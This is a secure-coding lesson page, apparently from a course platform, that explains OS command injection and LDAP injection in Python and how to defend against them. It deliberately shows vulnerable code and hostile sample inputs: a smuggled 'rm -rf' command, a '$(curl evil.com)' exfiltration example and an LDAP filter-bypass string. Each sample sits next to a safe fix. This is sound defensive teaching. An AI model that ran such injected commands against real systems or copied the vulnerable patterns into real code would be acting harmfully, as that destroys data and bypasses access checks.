Защита от внедрения команд и LDAP
Узнайте, как работает внедрение команд OS и LDAP и как защищаться от него с помощью безопасных API, списков разрешений и корректного кодирования.
«Защита от внедрения команд и LDAP» — бесплатный урок Secure Coding & OWASP Top 10 for Backend на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Secure Coding & OWASP Top 10 for Backend, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Secure Coding & OWASP Top 10 for Backend содержит 4 уроков всего.
Части этого урока еще не переведены и отображаются на английском.
Beyond SQL Injection
Injection is not limited to SQL. Any time untrusted input is mixed into a command interpreter, you risk injection. Two dangerous cousins are OS command injection and LDAP injection.
This lesson shows how both work and how to stop them.
How Command Injection Works
Command injection happens when user input is passed to a shell. Shell metacharacters like ;, &&, and | let an attacker append their own commands.
- Input
file.txt; rm -rf /can delete data - Input
$(curl evil.com)can exfiltrate or download
The Vulnerable Pattern
The danger is invoking a shell with a concatenated string. Here the user controls part of the command line.
import os
def ping(host):
# DANGEROUS: host is interpolated into a shell command
os.system('ping -c 1 ' + host)
# ping('8.8.8.8; rm -rf /tmp/data') runs two commandsUse Safe APIs
The fix is to avoid the shell entirely. Pass arguments as a list to an exec-style API so the OS treats input as a single argument, never as syntax.
import subprocess
def ping(host):
# SAFE: no shell, host is a single argument
subprocess.run(['ping', '-c', '1', host], shell=False, check=True)Validate with Allow-Lists
When input feeds a command, restrict it to a known-good pattern. An allow-list rejects anything outside an expected set instead of trying to block bad characters.
import re
def is_valid_host(host):
pattern = r'^[a-zA-Z0-9.-]{1,253}$'
return re.match(pattern, host) is not None
print(is_valid_host('example.com'))
print(is_valid_host('8.8.8.8; rm -rf /'))Avoid Shell Features
Never enable shell=True, eval, or string-based command builders with untrusted data. If you must use a shell, escape arguments with the platform quoting function, but prefer the no-shell approach.
What Is LDAP Injection?
LDAP injection targets directory queries used in authentication and lookups. Special characters like *, (, ), and \ alter the filter logic.
An input of * in a username field can match every entry, bypassing access checks.
Vulnerable LDAP Filter
Building filters by string concatenation lets attackers rewrite the query.
def build_filter(username):
# DANGEROUS: username can contain LDAP metacharacters
return '(&(uid=' + username + ')(active=TRUE))'
# build_filter('*)(uid=*') opens the filter to all usersEscaping LDAP Input
Escape special characters before inserting them into a filter, per RFC 4515. Most LDAP libraries provide an escape helper, use it for every dynamic value.
def escape_ldap(value):
replacements = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\x00': '\\00'}
out = ''
for ch in value:
out += replacements.get(ch, ch)
return out
print(escape_ldap('*)(uid=*'))Defense in Depth
Combine safe APIs, allow-list validation, and least privilege. Run processes under low-privilege accounts so even a successful injection cannot do much.
- No shell where possible
- Validate every input
- Drop privileges before executing
Testing for Injection
Probe inputs with metacharacters during testing: semicolons and pipes for command fields, asterisks and parentheses for LDAP fields. Automated DAST tools and code review both help catch these flaws early.
Quick Check
Test your understanding of injection defenses.
Recap
You learned how command injection and LDAP injection work and how to stop them: avoid the shell with safe exec APIs, use allow-list validation, escape LDAP special characters, and apply least privilege. Treat every interpreter boundary as a place where injection can occur.
Часто задаваемые вопросы
Урок «Защита от внедрения команд и LDAP» бесплатный?
Да — полный текст урока «Защита от внедрения команд и LDAP» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Secure Coding & OWASP Top 10 for Backend, подпишись на CoddyKit PRO. Курс Secure Coding & OWASP Top 10 for Backend содержит 4 уроков всего.
Чему я научусь в уроке «Защита от внедрения команд и LDAP»?
Узнайте, как работает внедрение команд OS и LDAP и как защищаться от него с помощью безопасных API, списков разрешений и корректного кодирования. Ты практикуешь Secure Coding & OWASP Top 10 for Backend с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.
Нужен ли мне опыт, чтобы начать Secure Coding & OWASP Top 10 for Backend?
Предыдущий опыт не требуется. Secure Coding & OWASP Top 10 for Backend на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.
Сколько времени занимает урок «Защита от внедрения команд и LDAP»?
Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.
Можно ли писать и запускать код в этом уроке Secure Coding & OWASP Top 10 for Backend?
Да. Каждый урок Secure Coding & OWASP Top 10 for Backend включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.
Все уроки этого курса
- Продвинутые методы SQLi и NoSQLi
- Комплексные стратегии проверки входных данных
- Политика безопасности содержимого (CSP) для серверной части
- Защита от внедрения команд и LDAP